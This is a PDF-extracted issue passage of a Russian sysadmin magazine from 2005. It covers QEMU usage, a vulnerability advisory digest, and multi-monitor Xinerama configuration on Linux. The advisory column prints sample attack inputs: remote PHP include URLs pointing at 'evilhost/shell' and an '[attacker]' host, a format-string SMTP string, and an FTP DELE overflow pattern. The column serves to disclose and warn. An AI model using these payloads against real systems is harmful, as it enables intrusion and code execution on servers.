В результате откроется еще одно окно, в котором нач-нется процесс обычной загрузки системы. Если был встав-лен диск с одним из LiveCD-дистрибутивов, то его тут жеможно использовать обычным образом. Естественно, ско-рость работы гостевой системы будет ниже, чем при запус-ке на реальной системе. Для того чтобы набирать данные вгостевой системе, нужно просто щелкнуть мышью в окне,выйти в основную систему можно, нажав <Ctrl+Alt>. В за-висимости от установок родительской ОС может выскочитьсообщение о том, что qemu не может получить DNS-имя.Происходит это потому, что программа не может настроитьсеть с параметрами по умолчанию. Самым простым выхо-дом будет добавить опцию -dummy-net, активирующую под-

# su# tar zxvf qemu-0.6.1.tar.gz# cd qemu-0.6.1# ./configure# make# make install

qemu [options] [disk_image]

# qemu -cdrom /dev/cdromConnected to host network interface: tun0

Page 12: 028 Системный Администратор 03 2005

10

администрирование

дельный сетевой стек, но при этом гостевой системой небудут приниматься и отправляться пакеты.

Имея готовый iso-образ, можно его проверить перед за-писью на диск (рис. 1).

По умолчанию qemu для поднятия виртуального сете-вого tap/tun-интерфейса использует скрипт /etc/qemu-ifup,если таковой не обнаруживается, то пытается использоватьпараметр -user-net. В этом режиме запускается виртуаль-ный межсетевой экран и DHCP-сервер, имеющий адрес10.0.2.2, виртуальный DNS-сервер (10.0.2.3) и SMB-сервер(10.0.2.4). Клиент DHCP на виртуальном компьютере полу-чает адрес в сети 10.0.2.x. В таком режиме с виртуальноймашины пингуется только адрес 10.0.2.2, но напрямую вИнтернет с такими настройками выйти не получится, толь-ко через перенаправление, о котором чуть позже.

В простейшем случае скрипт /etc/qemu-ifup выглядит так:

После чего tun-интерфейс будет сопоставлен NE2000-совместимой эмулируемой сетевой карте. Как говорилось,один виртуальный компьютер может иметь до 6 сетевыхкарт, необходимое количество которых задается опцией –nics с указанием числа. Добавив параметр -macaddr, мож-но задать МАС-адрес для первого сетевого интерфейса,МАС-адреса остальных будут автоматически инкременти-рованы.

Если на основной системе установлен Samba-сервер,то гостевая система может общаться с основной через него,для этого используется опция -smb с указанием каталога.

Аналогично можно активировать и встроенный ftp-сер-вер, добавив при запуске команду: -tftp каталог. При этомвсе файлы, находящиеся в указанном каталоге, могут бытьзагружены на гостевую систему. Еще одним из способов

обмена информацией между основной и гостевой систе-мами является перенаправление. Формат опции такой:

И запустив эмуляцию с такой опцией:

Получим возможность подключаться к telnet-порту на го-стевой системе.

Кроме готовых iso-образов, несомненным удобством яв-ляется возможность загрузить операционную систему, ужеустановленную на жесткий диск. Например, на моем ком-пьютере не редкость две-три, а то и больше различных си-стем, так что теперь нет необходимости перезагружатьсякаждый раз.

Например, такая команда запустит загрузчик Grub, ус-тановленный у меня в MBR (рис. 2):

Теперь можно выбирать и загружать нужную ОС обыч-ным образом. Опция snapshot помогает избежать возмож-ной потери данных, так как все модификации вместо непос-редственной записи на диск будут производиться во времен-ном файле, находящемся в /tmp. При этом snapshot можноиспользовать также и с другими типами образов, которыеподдерживаются qemu, если необходимо оставить нетрону-тым оригинал. Но используя сочетание клавиш <Ctrl+a, s>,при необходимости можно сбросить все изменения на диск.

По умолчанию под гостевую операционную систему от-водится 128 Мб оперативной памяти, указав при помощиопции -m другое число, можно задать требуемый объем.

При запуске qemu эмулирует ту же аппаратную среду, вкоторой он запускается, т.е. при запуске на Pentium будетподражать Pentium, а если PowerPC, то будет запущен ещеодин PowerPC-компьютер и т. д. Если же необходима эмуля-ция систем отличной архитектуры, то запускаем специаль-ную версию утилиты (qemu-system-ppc, qemu-system-sparc).

# qemu -snapshot -hda /dev/hda

Ðèñóíîê 2

# qemu -dummy-net -cdrom /dev/cdrom

# qemu -dummy-net -cdrom movix.iso

Ðèñóíîê 1

#!/bin/shsudo /sbin/ifconfig $1 192.168.0.1

# qemu �smb /mnt/qemu -user-net -cdrom /dev/cdrom

-redir [tcp|udp]:host-port:[guest-host]:guest-port

# qemu -redir tcp:1234::23 -cdrom /dev/cdrom

# telnet localhost 1234

Page 13: 028 Системный Администратор 03 2005

11№3, март 2005

администрирование

Как говорилось выше, на сайте проекта имеются гото-вые образы различных операционных систем и архитектур.Версии небольшого объема не всегда могут удовлетворятьпо функциональности, а архивы более 1 Гб тащить из Ин-тернета накладно, поэтому лучше такой образ подготовитьи самому, собрав в него самые необходимые приложения.Для этих целей используется утилита qemu-img, при помо-щи которой создается новый виртуальный жесткий диск.

Хотя никто не мешает использовать для этих целей и dd.

После того как такой жесткий диск создан, можно уста-навливать в него операционную систему.

В этом примере мы указываем qemu на то, что жесткийдиск находится в контейнере hdd.img, в качестве CD-ROMустройства /dev/cdrom и загрузка будет происходить с CD-ROM (параметр -boot d). Последний параметр в нашем при-мере необходим, так как по умолчанию qemu будет загру-жаться с жесткого диска. Если нужно указать на загрузку сдискеты, используется -boot а, с жесткого диска -boot с.Естественно, никто не мешает вместо реального диска ис-пользовать его iso-образ. Но большинство дистрибутивовраспространяется не на одном, а на нескольких дисках, по-этому необходимо дополнительное управление, котороеобеспечивается при помощи опции -monitor, открывающейтерминал, в котором можно изменять параметры эмуляции,выбирать другое устройство, либо исходный файл.

И когда установятся пакеты с первого образа, заменя-ем файл.

После окончания процесса установки можно загружать-ся с полученного образа.

Кроме того, qemu поддерживает образы формата COW(Copy On Write), используемые в User Mode Linux. Такой об-раз занимает меньше места, так как при его использова-нии запоминаются только изменения. Для формированияcow-образа используется утилита qemu-mkcow с указани-ем размера в мегабайтах.

Хотя в последнем снимке эта утилита пропала из архи-ва. В будущем вместо нее, очевидно, будет использовать-ся qemu-img с командой convert.

При этом может быть задан как входной, так и выход-ной формат образа, поддерживаются raw, qcow (удобен длямаленьких файлов, поддерживает шифрование и сжатие),cow, формат VMWare – vmdk и cloop (Linux Compressed Loop)для образов CD-ROM. Использовав команду info, можнополучить информацию о готовом образе.

В некоторых случаях может возникнуть необходимостьв замене параметров загрузки Linux-системы, записаннойна виртуальный диск. Сделать это можно при помощи оп-ций -kernel, -initrd и -append. Значения которых совпадают стаковыми в конфигурационных файлах загрузчиков.

Для запуска команды qemu-fast потребуется первоначаль-но изменить гостевое ядро, наложив патч linux-2.6-qemu-fast.patch, который можно найти в архиве с исходными тек-стами. Этот режим использует напрямую реальный MemoryManagement Unit (MMU) вместо эмулируемого при обычномрежиме работы qemu. Но с ним работайте осторожно, таккак основная и гостевая системы используют одно адресноепространство, что может привести к проблемам безопасно-сти или нарушению стабильности работы основной систе-мы. Кроме того, в режиме qemu-fast пока полноценно под-держивается не вся периферия. Поэтому при работе в Linuxлучше использовать KQEMU. Но, скорее всего, скомпилиро-ванный модуль, поставляемый вместе с архивом, у вас от-кажется работать, а в документации не сказано, под какуюименно версию ядра он собирался, поэтому необходимо бу-дет собрать модуль самому. Сделать это просто. Распако-вываем архив в каталог с исходными текстами qemu.

После чего собираем qemu, как описано выше. Для ус-пешной компиляции понадобятся исходники рабочего ядра.Работает KQEMU через устройство /dev/kqemu, котороедолжно создаться самостоятельно. Если этого не произош-ло, сделайте сами.

После чего модуль можно запускать вручную при помо-щи /sbin/insmod kqemu, либо при постоянной работе с вир-туальными машинами прописать команду в загрузочныхскриптах. По умолчанию в /dev/shm KQEMU создает файлбольшого размера, содержащий ОЗУ виртуальной маши-ны, переменной QEMU_TMPDIR можно переопределить егоместонахождение, но делать это рекомендуется только прималом объеме основного ОЗУ, иначе это только замедлитработу виртуальной машины.

Для удобства можно запускать qemu не в отдельномокне, а в полноэкранном режиме. Для этого добавляетсяопция -full-screen, либо можно использовать комбинацию<CTRL+ALT+f>.

# qemu-img create linux.img 1500M

# dd of=hd.img bs=1024 seek=1048576 count=0

# qemu -hda linux.img -cdrom /dev/cdrom -boot d

# qemu -monitor stdio -hda linux.img ↵↵↵↵↵-cdrom altlinux_cd1.iso -boot d

# qemu change -cdrom altlinux_cd2.iso

# qemu linux.img

# qemu-mkcow cowimage.cow 1024

# qemu-img convert �f cow cowimage.cow image.raw

# qemu-fast -nographic -hda linux.img ↵↵↵↵↵-kernel bzImage-2.4.21 -append "console=ttyS0 ↵↵↵↵↵root=/dev/hda sb=0x220,5,1,5 ide2=noprobe ide3=noprobeide4=noprobe ide5=noprobe"

# cd qemu-0.6.1# tar zxvf /tmp/kqemu-0.6.2-1.tar.gz

# mknod /dev/kqemu c 250 0# chmod 666 /dev/kqemu

Page 14: 028 Системный Администратор 03 2005

12

администрирование

Использование user mode-режима также не вызываетособых проблем. Только предварительно необходимо ска-чать и распаковать архив qemu-gnemul, содержащий биб-лиотеки различных систем (x86, ARM, SPARC и PowerPC).В user mode-режиме работы используются утилиты: qemu-arm, qemu-i386, qemu-ppc и qemu-sparc. Для эксперимен-тов можно использовать архив qemu-tests-0.5.1.tar.gz, со-держащий версии основных UNIX-утилит, скомпилирован-ных под различные платформы.

Вот так можно запустить команду ls, собраную под PPC.

По умолчанию необходимые для работы в user mode-режиме библиотеки должны находиться в /usr/gnemul/qemu-i386, при помощи -L можно указать другое местонахожде-ние. При желании можно с помощью wine (на сайте проек-та есть адаптированная версия) запустить в Linux Windows-приложение.

Запуск и работа с qemu в Windows аналогична Linux.

Кроме того, при установке на рабочем столе появляет-ся ярлык, запускающий скрипт, который помогает в диало-говом режиме ввести необходимые параметры:

Наработки проекта пришлись по вкусу многим, и как ре-зультат появились проекты-сателлиты, позволяющие сде-лать работу с qemu более удобной. Так, свои интерфейсыпредлагают проекты KQEmu (http://kqemu.sourceforge.net,рис. 4) под библиотеки Qt3 (стоит обратить внимание, чтоназвание этого проекта совпадает с принятым сокращени-ем QEMU Accelerator Module).

Запускается он несколько необычно.

Или Qemu Launcher (http://emeitner.f2o.org/projects/qemu-launcher) для сторонников GNOME/Gtk-приложений.

Для пользователей Windows, вместо того чтобы вбиватькаждый раз параметры запуска, рекомендую использоватьQGui (http://perso.wanadoo.es/comike, рис.5).

Qemu представляет собой довольно мощное приложе-ние, позволяющее эмулировать системы различных архи-тектур и запускать приложения, собранные под другие опе-рационные системы. Конечно же, подобно прочим эмуля-торам он не может выполнять приложения так же быстро,как это происходит на реальной системе, а по скорости онне отстает от проектов вроде Bochs. Но у последнего оноднозначно выигрывает по возможностям и удобству ра-боты.

При этом если эмуляция используется эпизодически,время от времени, Qemu представляется мне более удоб-ным, чем коммерческий VMWare, ключ к активации или срокиспользования бесплатной бета-версии, которого имеетпривычку заканчиваться в самый неподходящий момент. Ктому же Qemu не требует предварительной настройки иподготовки, а сам процесс от компиляции до запуска зани-мает минимум времени.

# kmdr-executor /home/sergej/work/kqemu-0.1/kqemu-0.1.kmdr

# qemu-PPC ./qemu-tests/PPC/ls

C:\>qemu.exe -hda guest_image_name.img -boot c -user-net

Ðèñóíîê 3

Ðèñóíîê 4

Ðèñóíîê 5

Page 15: 028 Системный Администратор 03 2005

Множественные уязвимости в ZPanelПрограмма: ZPanel 2.5b10 и более ранние версии.Опасность: Высокая.Описание: Уязвимости позволяют удаленному пользовате-лю произвести SQL-инъекцию, выполнить произвольные ко-манды и получить доступ к важной информации на системе.

1. SQL-инъекция возможна из-за недостаточной фильт-рации входных данных в переменной uname в сценарииindex.php. Злоумышленник может определить наличие име-ни учетной записи и произвести перебор паролей.

2. SQL-инъекция и php-инклудинг возможны из-за некор-ректной обработки входных данных в сценарии zpanel.php.

Пример:

3. По умолчанию после установки не удаляется устано-вочный сценарий.

Пример:

4. ZPanel использует уязвимые сценарии других произ-водителей, например phpBB Forums 2.0.8a.URL производителя: http://www.thezpanel.com.Решение: Способов устранения уязвимости не существу-ет в настоящее время.

http://localhost/zpanel/zpanel.php?page=http://evilhost/shell

http://localhost/ZPanel/admin/install.php

Переполнение буферапри обработке LHA-заголовковво многих продуктах McAfeeПрограмма: McAfee VirusScan, McAfee VirusScan ASaP,McAfee WebShield, McAfee GroupShield, McAfeeNetShield вер-сии библиотек до 4400.Опасность: Высокая.Описание: Уязвимость существует при обработке LHA-файлов в McAfee Antivirus Library. Удаленный пользовательможет послать специально сформированный LHA-файл,вызвать переполнение буфера и выполнить произвольныйкод с привилегиями Local System.URL производителя: http://www.mcafee.com.Решение: Установите обновление с сайта производителя.

Уязвимость форматной строкив MailEnableПрограмма: MailEnable 1.8 Standard Edition.Опасность: Высокая.Описание: Уязвимость существует из-за недостаточнойфильтрации входных данных в SMTP-команде mailto. Уда-ленный пользователь может послать серверу специальносформированную строку и вызвать отказ в обслуживании.

Пример:

URL производителя: http://www.mailenable.com.Решение: Способов устранения уязвимости не существу-ет в настоящее время.

mailto: %s%s%s\r\n

Повышение привилегий в Sun SolarisПрограмма: Sun Solaris 7, 8, 9.Опасность: Низкая.Описание: Уязвимость обнаружена в команде newgrp. Ло-кальный пользователь может вызвать переполнение буфе-ра и выполнить произвольный код с root-привилегиями насистеме.URL производителя: http://www.novell.comРешение: Установите обновление от производителя.

Переполнение буфера в различныхдиссекторах в EtherealПрограмма: Ethereal 0.9.1 – 0.10.9.Опасность: Средняя.Описание: Несколько переполнений буфера обнаруженыв диссекторах Etheric, GPRS-LLC, 3GPP2 A11, IAPP, JXTA иsFlow. Удаленный пользователь может вызвать отказ в об-служивании или выполнить произвольный код на уязвимойсистеме.Пример/Эксплоит: http://www.securitylab.ru/53246.html.URL производителя: http://www.ethereal.com.Решение: Установите последнюю версию (0.10.10) от про-изводителя.

Составил Александр Антипов

Переполнение буферав ArGoSoft FTP ServerПрограмма: ArGoSoft FTP Server 1.4.2.8.Опасность: Высокая.Описание: Уязвимость обнаружена при обработке коман-ды DELE. Удаленный авторизованный пользователь можетпослать в качестве аргумента команды строку длиной бо-лее 2000 символов, вызвать переполнение буфера и вы-полнить произвольный код на уязвимой системе. Пример:

URL производителя: http://www.argosoft.com.Решение: Способов устранения уязвимости не существу-ет в настоящее время.

DELE \x41 x 2000

PHP-инклудинг в mcNewsПрограмма: mcNews 1.3.Опасность: Высокая.Описание: Уязвимость существует в сценарии mcNews/admin/header.php из-за недостаточной фильтрации входныхданных в переменной skinfile. Удаленный пользователь мо-жет с помощью специально сформированного URL выпол-нить произвольный php-сценарий на уязвимой системе.

Пример:

URL производителя: http://www.phpforums.net/index.php?dir=dld.Решение: Способов устранения уязвимости не существу-ет в настоящее время.

http://[target]/[dir]/mcNews/admin/header.php? ↵↵↵↵↵skinfile=http://[attacker]/

bugtraq

13№3, март 2005

Page 16: 028 Системный Администратор 03 2005

14

администрирование

Данная статья рассказывает о подключении нескольких мо-ниторов к компьютеру с установленной ОС Linux (RedHatLinux v.7.3, Fedora Core 3 и ASPLinux 10) и приводит рабо-чие примеры конфигурационных файлов для оконной сре-ды X-Window.

Сколько пользователю ни дай, а ему всё мало. Так ихочется сказать: «Таблеток от жадности и побольше, по-больше...» Если лет 10 назад у пользователей в основномбыли 14" CGA- и EGA-модели мониторов и о большем, чемVGA с разрешением 320 х 200 точек при 256 цветах или640 х 480 при 16 цветах мечтать не приходилось, а боль-шие диагонали и разрешения встречались только в типог-рафиях и на графический станциях, то сейчас многие лю-бители могут за небольшие деньги приобрести такое, чтоне в каждой типографии есть.

Вначале, после VGA стали появляться SVGA-мониторы,диагональ увеличились до 15". Качество и «плоскость» кар-тинки улучшались. Потом были пройдены рубежи 17" и 19",вплоть до 22". После 22" рост на какое-то время приоста-

новился. Смотреть на такой монитор было неудобно (ужочень большой), цена заоблачная, плюс не каждая видео-карта могла поддерживать такую махину на максимальныхвидеорежимах. Специальная видеокарта стоила примерностолько же, сколько и монитор. По истечении некотороговремени появились LCD- и TFT-панели. Если отбросить тех-нологические особенности, то развитие TFT-технологий шлои идёт по тому же пути улучшения качества и увеличенияразмера диагонали (как следствие – разрешения). Един-ственное небольшое отличие от пути развития CRT-техно-логий появилось из-за параллельного развития DVD-инду-стрии, которая породила новый сегмент рынка – домашниекинотеатры, где нашли своё применение мониторы с диа-гональю более 22".

На сегодняшний день ситуация такова, что продвинутымпользователям 17" мало, а 19" и выше – это дорого. Почув-ствовав данную ситуацию года четыре назад и учтя тот факт,что AGP-шина в компьютере только одна, многие фирмы ста-ли производить dualhead-видеокарты. На сегодняшний день

LINUX XINERAMA:ОДИН МОНИТОР ХОРОШО, А МНОГО ЛУЧШЕ

ПАВЕЛ ЗАКЛЯКОВ

Page 17: 028 Системный Администратор 03 2005

15№3, март 2005

администрирование

можно сказать, что лишь только самые дешёвые и урезан-ные версии видеокарт имеют один видеовыход. Все же ос-тальные де факто имеют 2 видеовыхода. Количество людей,использующих мультидисплейные конфигурации в самыхразличных областях, растёт [8]. Два видеовыхода – это да-леко не предел, есть дорогие модели на 3 видеовыхода (вро-де Matrox Parhelia 512 или P750) и даже больше [7].

Пока производители видеокарт совершенствовали же-лезо и писали для него «хитрые» драйвера, разработчикиоперационных систем не стояли в стороне, и начиная сWindows 98 появилась поддержка нескольких видеокартсредствами ОС. Это позволило увеличивать площадь ра-бочего стола только старыми аппаратными средствами.

Если железо и программы готовы, так почему бы не ис-пользовать несколько мониторов для работы, особенно еслиплощадь вашего компьютерного стола позволяет? Это ведьочень удобно: в два-три раза больше видимая площадь приотносительно малой стоимости. Конечно, есть и некоторыенеудобства – половина окна тут, половина окна там (надругом мониторе), но эта проблема частично решается спе-циальным программным обеспечением, перемещающимокна, вроде HydraVision под Windows. Именно по этому путия и пошёл. Моя история с настройкой началась, когда я со-всем недорого купил в 2001 году видеокарту RadeonVE, ачуть позже, где-то через полгода, второй б/у монитор.

Драйвера от ATI+HydraVision под NT4.0 работали на ура,а вот под Red Hat Linux v.7.3 пришлось повозиться с настрой-кой. Второй монитор показывал копию первого, и оба рабо-тали на 85 Гц вместо возможных 120 Гц. Мне же хотелосьпод X иметь и подходящее разрешение, и частоту обновле-ния, и один широкий рабочий стол вместо двух одинаковых.

Долгие поиски в конце концов увенчались успехом. Изнескольких документов (на сегодня сохранились лишь [1, 2])был создан файл /etc/X11/XF86Config-4 следующего содер-жания:

Это позволило в Red Hat Linux v.7.3 иметь один рабочийстол на два монитора с разрешением 2 х 1024 х 768 при120 Гц.

Section "ServerLayout"Option "Xinerama" "on"Identifier "Multi Head"Screen 0 "Screen0" 0 0Screen 1 "Screen1" LeftOf "Screen0"InputDevice "Mouse0" "CorePointer"InputDevice "Keyboard0" "CoreKeyboard"InputDevice "DevInputMice" "AlwaysCore"

EndSectionSection "Files"

RgbPath "/usr/X11R6/lib/X11/rgb"FontPath "unix/:7100"

EndSectionSection "Module"

Load "dbe"Load "extmod"Load "fbdevhw"Load "glx"Load "record"Load "freetype"Load "type1"Load "dri"

EndSectionSection "InputDevice"

Identifier "Keyboard0"Driver "keyboard"Option "XkbRules" "xfree86"Option "XkbModel" "pc104"Option "XkbLayout" "ru"Option "XkbVariant" "winkeys"Option "XkbOptions" "grp:alt_shift_toggle"

EndSectionSection "InputDevice"

Identifier "Mouse0"Driver "mouse"Option "Device" "/dev/mouse"Option "Protocol" "IMPS/2"Option "Emulate3Buttons" "no"Option "ZAxisMapping" "4 5"

EndSectionSection "InputDevice"

Identifier "DevInputMice"Driver "mouse"Option "Protocol" "IMPS/2"Option "Device" "/dev/input/mice"Option "ZAxisMapping" "4 5"Option "Emulate3Buttons" "no"

EndSectionSection "Monitor"

DisplaySize 1024 768ModeLine "1024x768" 135.920 1024 1104 1216 ↵↵↵↵↵

1392 768 769 772 814 -hsync +vsyncIdentifier "Monitor0"VendorName "Samsing"ModelName "Samsung SyncMaster 700IFT (CSH780B*)"HorizSync 30.0 - 98.0VertRefresh 50.0 - 160.0Option "dpms"

EndSectionSection "Monitor"

DisplaySize 1024 768ModeLine "1024x768" 135.920 1024 1104 1216 ↵↵↵↵↵

1392 768 769 772 814 -hsync +vsyncIdentifier "Monitor1"VendorName "Samsung"ModelName "SyncMaster 700IFT (CSH780B*)"HorizSync 30.0 - 98.0VertRefresh 50.0 - 160.0Option "dpms"

EndSectionSection "Device"

Identifier "Videocard0"Driver "radeon"VendorName "Videocard vendor"BoardName "ATI Radeon VE"BusID "AGP:1:5:0"Screen 0

EndSectionSection "Device"

Identifier "Videocard1"Driver "radeon"VendorName "Videocard vendor"BoardName "ATI Radeon VE"BusID "AGP:1:5:0"Screen 1

EndSectionSection "Screen"

Identifier "Screen0"Device "Videocard0"Monitor "Monitor0"DefaultDepth 16SubSection "Display"

Modes "1024x768"Depth 16

EndSubSectionEndSectionSection "Screen"

Identifier "Screen1"Device "Videocard1"Monitor "Monitor1"DefaultDepth 16SubSection "Display"

Depth 16Modes "1024x768"

EndSubSectionEndSection

Page 18: 028 Системный Администратор 03 2005

16

администрирование

Замечание 1. После включения режима Xinerama Linuxне понимал, что это два монитора, думая что это один боль-шой. Многие окна появлялись половинчато. Половина тут,половина там.

Замечание 2. Проигрывание видео на двух мониторахневозможно. Картинка есть только там, где больший про-цент окна, на другом мониторе окно чёрное.

Замечание 3. К сожалению, установить нужный режими выбрать строчку ModeLine как с помощью xvidtune, так ируками, читая [3], мне не удалось. Тут я пошёл на хитрость.Установил PowerStrip под Windows. Далее шёлкнул правойкнопкой мыши на появившемся значке около часов и выб-рал пункты меню «Display profiles» и «Configure».

В появившемся окне я выбрал нужный мне видеовыходи нажал «Advanced timing options...».

Появилось окно, где можно менять настройки в реаль-ном времени, сразу отслеживая их изменение.

Методом ручного подбора мне удалось выжать макси-мум из того, что могли мониторы. Далее я заглянул в файлС:\Program Files\PowerStrip\pstrip.ini и переписал себе сле-

дующие две строчки, данные из которых после поместил вфайл XF86Config-4:

Всё хорошо, но в X при такой же ModeLine вместо нуж-ного мне 1024 х 768 запускалось меньшее разрешение. По-читав разные документы и подумав немного, как описано в[4], я произвёл расчёт горизонтальной частоты для своегослучая:

После посмотрел в XF86Config-4 и увидел там:

как видно, полоса оказалась больше 96.0, а «умные» X умень-шили разрешение. Пришлось руками увеличить 96.0, напри-мер, до 98.0. После этого нужный видеорежим заработал.

Fedora Core 3Всё прекрасно работало где-то до марта 2005 года, когдамне пришла в голову мысль на второй винчестер устано-вить Linux Fedora Core3 c целью его изучения. Естествен-но, после установки по умолчанию мои два монитора, как иранее в RedHat 7.3, показывали одно и то же.

«Разве это проблема?» – подумал я и полез в меню«Приложения →→→→→ Системные параметры →→→→→ Дисплей» менятьнастройки.

[Modelines]1024x768="1024x768" 135,920 1024 1104 1216 1392 768 ↵↵↵↵↵

769 772 814 -hsync +vsync

768 òî÷åê * 120 Ãö * 1,05 = 96,768 ÊÃö

HorizSync 30.0 � 96.0

Page 19: 028 Системный Администратор 03 2005

17№3, март 2005

администрирование

Увы, это оказалось проблемой. Скрипт, осуществляю-щий настройку, содержал ошибку и после выбора двух мо-ниторов просто не позволял нажать кнопку «ok», ругаясь втекстовой консоли, из-под которой были запущены X. Ана-логичным образом нельзя было выбрать частоту обновле-ния экрана более 85 Гц.

Пришлось перейти к ручному режиму. Недолго думая, язаменил новый файл /etc/X11/xorg.conf старым, проверен-ным /etc/X11/XF86Config-4 (который можно видеть выше),заменив в нём

на

однако это не помогло делу. Пришлось прочитать «manradeon», после чего у меня получился следующий конфигу-рационный файл /etc/X11/xorg.conf для поддержки двух мо-ниторов:

Замечание 4. Оба монитора у меня одинаковые, режи-мы работы тоже, поэтому как следствие строчки ModeLineдля них тоже одинаковые. На практике через меню монито-ра проверено – видеорежимы выставлены правильно. Од-нако если посмотреть внимательнее, то ранее использова-лись две раздельные строчки ModeLine на каждый мони-тор, что, на мой взгляд, правильнее. На данный момент длявторого видеовыхода можно прописать только:

Но проблемы это не решает, так как возможные диапа-зоны горизонтальной и вертикальной развёртки – это всё-таки не одно и то же, что и ModeLine. Каким способом мож-но настроить видеовыходы одновременно на разные режи-мы, пока не известно. Внимательное чтение «man radeon»и эксперименты с xorg.conf результата не дали.

Замечание 5. Несмотря на замечание 4, был и положи-тельный момент. Если ранее без включения Xinerama одинрабочий стол не получался, то сейчас же рабочий стол по-лучался общим, а панели меню занимали лишь один мони-тор, при этом разворачивание окна во весь экран шло толь-ко на один монитор, что мне показалось удобным. При этомруками окно можно растянуть на два монитора. (Поведе-ние, аналогичное HydraVision.)

Если же строки:

раскомментировать, то тогда панели меню получались наоба экрана, окошки вылетали по половинкам посередине,а при разворачивании окна занимали площадь двух мони-торов. Удобства от такой работы меньше. Поэтому эти стро-ки я оставил закомментированными.

На этом можно было бы закончить статью, но...

Option "Device" "/dev/mouse"

Option "Device" "/dev/input/mice"

Section "ServerLayout"Identifier "dual head configuration"Screen 0 "Screen0" 0 0InputDevice "Mouse0" "CorePointer"InputDevice "Keyboard0" "CoreKeyboard"

EndSection#Section "ServerFlags"# Option "Xinerama" "true"#EndSectionSection "Files"

RgbPath "/usr/X11R6/lib/X11/rgb"FontPath "unix/:7100"

EndSectionSection "Module"

Load "dbe"Load "extmod"Load "fbdevhw"Load "glx"Load "record"Load "freetype"Load "type1"Load "dri"

EndSectionSection "InputDevice"

Identifier "Keyboard0"Driver "keyboard"Option "XkbRules" "xfree86"Option "XkbModel" "pc104"Option "XkbLayout" "ru"Option "XkbVariant" "winkeys"Option "XkbOptions" "grp:alt_shift_toggle"

EndSectionSection "InputDevice"

Identifier "Mouse0"Driver "mouse"Option "Device" "/dev/input/mice"Option "Protocol" "IMPS/2"Option "Emulate3Buttons" "no"Option "ZAxisMapping" "4 5"

EndSectionSection "InputDevice"

Identifier "DevInputMice"Driver "mouse"Option "Protocol" "IMPS/2"Option "Device" "/dev/input/mice"Option "ZAxisMapping" "4 5"Option "Emulate3Buttons" "no"

EndSection

Section "Monitor"Identifier "Monitor0"VendorName "Samsung"ModelName "Samsung SyncMaster 700IFT (CSH780B*)"DisplaySize 1024 768HorizSync 30.0 - 98.0VertRefresh 50.0 - 160.0ModeLine "1024x768" 135.9 1024 1104 1216 ↵↵↵↵↵

1392 768 769 772 814 -hsync +vsyncOption "dpms"

EndSectionSection "Device"

Identifier "Videocard0"Driver "radeon"VendorName "Videocard vendor"BoardName "ATI Radeon VE"BusID "AGP:1:5:0"

Option "MonitorLayout" "CRT, CRT" Option "CRT2Position" "LeftOf" Option "MergedFB" "yes"EndSectionSection "Screen"

Identifier "Screen0"Device "Videocard0"Monitor "Monitor0"DefaultDepth 24SubSection "Display"

Depth 24Modes "1024x768" "800x600" "640x480"

EndSubSectionEndSection

Option "CRT2HSync" "30.0-86.0"Option "CRT2VRefresh" "50.0-120.0"

#Section "ServerFlags"# Option "Xinerama" "true"#EndSection

Page 20: 028 Системный Администратор 03 2005

18

администрирование

«Два монитора хорошо, а три лучше...»Имея в наличии под руками лишнюю видеокарту S3 Trio64v+, я не удержался, чтобы не воткнуть её в и так доста-точно набитый системный блок и попытаться подключитьещё один монитор.

Во время загрузки карточка была обнаружена kudzu,однако предложенная автонастройка только сбила преды-дущие настройки, поэтому опять пришлось перейти в руч-ной режим правки файла xorg.conf. В результате правкиполучилось следующее:

Как видно, пришлось добавить разделы описания ново-го монитора и видеокарты и указать физическое располо-жение мониторов относительно друг друга. Ничего слож-ного в настройке двух видеокарт нет, всё должно быть ин-туитивно понятно.

На мой взгляд, единственный вопрос, который можетвозникнуть, – это откуда берётся строчка:

Для получения значения BusID можно заглянуть в файл/etc/sysconfig/hwconf и найти нужную видеокарту либо про-ще – запустить lspci и среди выведенного списка PCI-уст-ройств найти нужное.

AGP-устройства выводятся вместе с PCI, при этом у PCI-устройств вначале идёт цифра 0(00:0a.0), а у AGP – 1(01:05.0).Первое поясняющее поле у BusID не влияет на работу X,

Identifier "Monitor1"VendorName "Samsung"ModelName "My TFT Monitor"DisplaySize 1024 768HorizSync 30.0 - 98.0VertRefresh 50.0 - 160.0Option "dpms"

EndSectionSection "Device"

Identifier "Videocard0"Driver "radeon"VendorName "Videocard vendor"BoardName "ATI Radeon VE"BusID "AGP:1:5:0"

Option "MonitorLayout" "CRT, CRT" #!! Option "CRT2Position" "LeftOf" #!! Option "MergedFB" "yes"EndSectionSection "Device"

Identifier "Videocard1"Driver "s3"BoardName "S3"BusID "PCI:0:10:0"

EndSectionSection "Screen"

Identifier "Screen0"Device "Videocard0"Monitor "Monitor0"DefaultDepth 16SubSection "Display"

Depth 16Modes "1024x768" "800x600" "640x480"

EndSubSectionEndSectionSection "Screen"

Identifier "Screen1"Device "Videocard1"Monitor "Monitor1"DefaultDepth 16SubSection "Display"

Depth 16Modes "1024x768" "800x600" "640x480"

EndSubSectionEndSection

BusID "PCI:0:10:0"

# lspci....

00:08.0 Ethernet controller:

Realtek Semiconductor Co., Ltd. RTL-8139/8139C/8139C+ (rev 10)

00:09.0 Communication controller: NetMos Technology:

Unknown device 9805 (rev 01)

00:0a.0 VGA compatible controller:

S3 Inc. 86c764/765 [Trio32/64/64V+] (rev 54)

01:05.0 VGA compatible controller:

ATI Technologies Inc Radeon RV100 QY [Radeon 7000/VE]

Section "ServerLayout"Identifier "dual head configuration"Screen 0 "Screen1" 0 0Screen 1 "Screen0" RightOf "Screen1"InputDevice "Mouse0" "CorePointer"InputDevice "Keyboard0" "CoreKeyboard"

EndSectionSection "ServerFlags"

Option "Xinerama" "true"EndSectionSection "Files"

RgbPath "/usr/X11R6/lib/X11/rgb"FontPath "unix/:7100"

EndSectionSection "Module"

Load "dbe"Load "extmod"Load "fbdevhw"Load "glx"Load "record"Load "freetype"Load "type1"Load "dri"

EndSectionSection "InputDevice"

Identifier "Keyboard0"Driver "keyboard"Option "XkbRules" "xfree86"Option "XkbModel" "pc104"Option "XkbLayout" "ru"Option "XkbVariant" "winkeys"Option "XkbOptions" "grp:alt_shift_toggle"

EndSectionSection "InputDevice"

# Modified by mouseconfig# Option "Device" "/dev/mouse"

Identifier "Mouse0"Driver "mouse"Option "Device" "/dev/input/mice"Option "Protocol" "IMPS/2"Option "Emulate3Buttons" "no"Option "ZAxisMapping" "4 5"

EndSectionSection "InputDevice"

Identifier "DevInputMice"Driver "mouse"Option "Protocol" "IMPS/2"Option "Device" "/dev/input/mice"Option "ZAxisMapping" "4 5"Option "Emulate3Buttons" "no"

